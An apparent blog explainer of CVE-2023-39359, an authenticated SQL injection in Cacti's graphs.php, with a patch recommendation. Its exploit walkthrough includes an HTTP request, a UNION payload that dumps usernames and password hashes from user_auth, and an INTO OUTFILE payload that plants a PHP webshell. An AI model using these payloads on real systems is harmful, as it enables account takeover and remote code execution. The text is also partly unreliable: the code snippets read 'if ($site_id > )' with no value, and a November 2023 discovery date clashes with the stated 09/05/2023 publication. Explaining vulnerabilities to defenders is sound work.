Cacti is a widely-used open source monitoring tool for network and server infrastructure. In November 2023, a critical security vulnerability, CVE-2023-39359, was discovered in Cacti’s codebase that allows authenticated users to perform dangerous SQL injection attacks, leading to privilege escalation and even remote code execution.
In this long read, we’ll break down what this vulnerability is, how it works (with clear code snippets), the risks it poses, how to exploit it, and what you should do to stay safe.
What is Cacti?
Cacti is an open source web application framework for managing network operations. It’s used to visualize network data, monitor performance, and alert you about hardware and software issues.
Type: Authenticated SQL Injection
- Location: graphs.php (ajax_hosts / ajax_hosts_noany cases)
Workaround: None (users must upgrade)
Original Advisory: GitHub Advisory GHSA-2hxw-85c4-v5qm
The Vulnerability: Where Does It Live?
The bug comes from faulty parameter handling in graphs.php. When handling AJAX operations, Cacti checks for special values of the site_id parameter.
If site_id > , the application directly drops its value into the SQL WHERE clause without ANY sanitization or escaping—this opens up a vector for SQL Injection, but only for authenticated users.
Key code location:
graphs.php, specifically in the code handling the ajax_hosts and ajax_hosts_noany actions.
How SQL Injection Happens Here
SQL Injection happens when a web application includes unsanitized user input in SQL queries. Attackers can insert malicious SQL code, which then runs against your database.
In this case:
The code in graphs.php handles site_id like so (simplified)
$site_id = $_REQUEST["site_id"];
if ($site_id > ) {
$sql = "SELECT * FROM host WHERE site_id = $site_id";
}
If a malicious user enters site_id=1 OR 1=1, then the generated SQL becomes
SELECT * FROM host WHERE site_id = 1 OR 1=1
This could allow attackers to retrieve MUCH more data than intended.
Now, consider more complex injections—an attacker can modify the query to escalate privileges, extract sensitive data, or even perform RCE if they chain this bug with other vulnerabilities (such as MySQL’s INTO OUTFILE or similar features).
Exploit Example (Step by Step)
Let’s imagine an attacker wants to escalate their privilege. They need to be authenticated (even with a low-privilege account), then they exploit the lack of validation on site_id.
1. Login with a low-privilege account
2. Send a request to graphs.php like this
POST /graphs.php
Content-Type: application/x-www-form-urlencoded
Cookie: [your session cookie]
action=ajax_hosts&site_id=1 OR 1=1
3. Observe the response:
All hosts will be returned, not just site 1. This proves the injection works.
4. Exploit for Privilege Escalation
Suppose attacker knows Cacti stores user passwords (likely as hashes) or privilege levels. With SQL injection, they could use a UNION attack or data extraction:
site_id=1 UNION SELECT 1, username, password, 1 FROM user_auth
This could dump usernames and password hashes from the user_auth table. Now, the attacker can crack the password hash, then log in as higher-privilege users, including admin.
5. Remote Code Execution
Via SQL injection, depending on the DB setup (for example, if MySQL’s SELECT ... INTO OUTFILE is available), the attacker may be able to write a webshell file to the server:
1; SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'
Now, visiting /shell.php?cmd=whoami executes OS commands!
Note: Achieving RCE this way depends on database permissions and server setup, but the risk is real.
Here’s what the vulnerable code might look like (simplified)
<?php
$site_id = $_REQUEST["site_id"];
// ... code ...
if ($site_id > ) {
$host_sql = "SELECT id, hostname FROM host WHERE site_id=$site_id";
$result = db_query($host_sql);
// ... output results ...
}
?>
How should this be fixed?
ALWAYS USE BOUND PARAMETERS
$stmt = $pdo->prepare('SELECT id, hostname FROM host WHERE site_id = ?');
$stmt->execute([$site_id]);
Mitigation and Patch
This vulnerability was fixed in version 1.2.25. There are no known effective workarounds; users must upgrade.
- Cacti Security Announcements
- Cacti 1.2.25 Release Notes
If you’re running any older version, upgrade as soon as possible.
Temporary mitigations
- Restrict Cacti to trusted users/networks until patched.
References and Further Reading
- Official Security Advisory – GHSA-2hxw-85c4-v5qm
- Exploit-DB: Cacti Authenticated SQL Injection
- Cacti Project Homepage
- OWASP SQL Injection Cheat Sheet
Summary
CVE-2023-39359 is a dangerous authenticated SQL injection flaw in Cacti’s graphs.php, allowing attackers to escalate their privileges and potentially execute arbitrary code. Patch your Cacti servers NOW by upgrading to v1.2.25 or later. Leaving this unpatched could put your whole network at risk.
Stay secure, and always validate any user input—never trust data coming from web forms or query parameters, no matter how “internal” you think your app is!
*This deep-dive was written exclusively based on research on CVE-2023-39359. For the full technical advisory and proof-of-concept code, see the links above.*
Timeline
Published on: 09/05/2023 21:15:46 UTC
Last modified on: 11/09/2023 05:15:09 UTC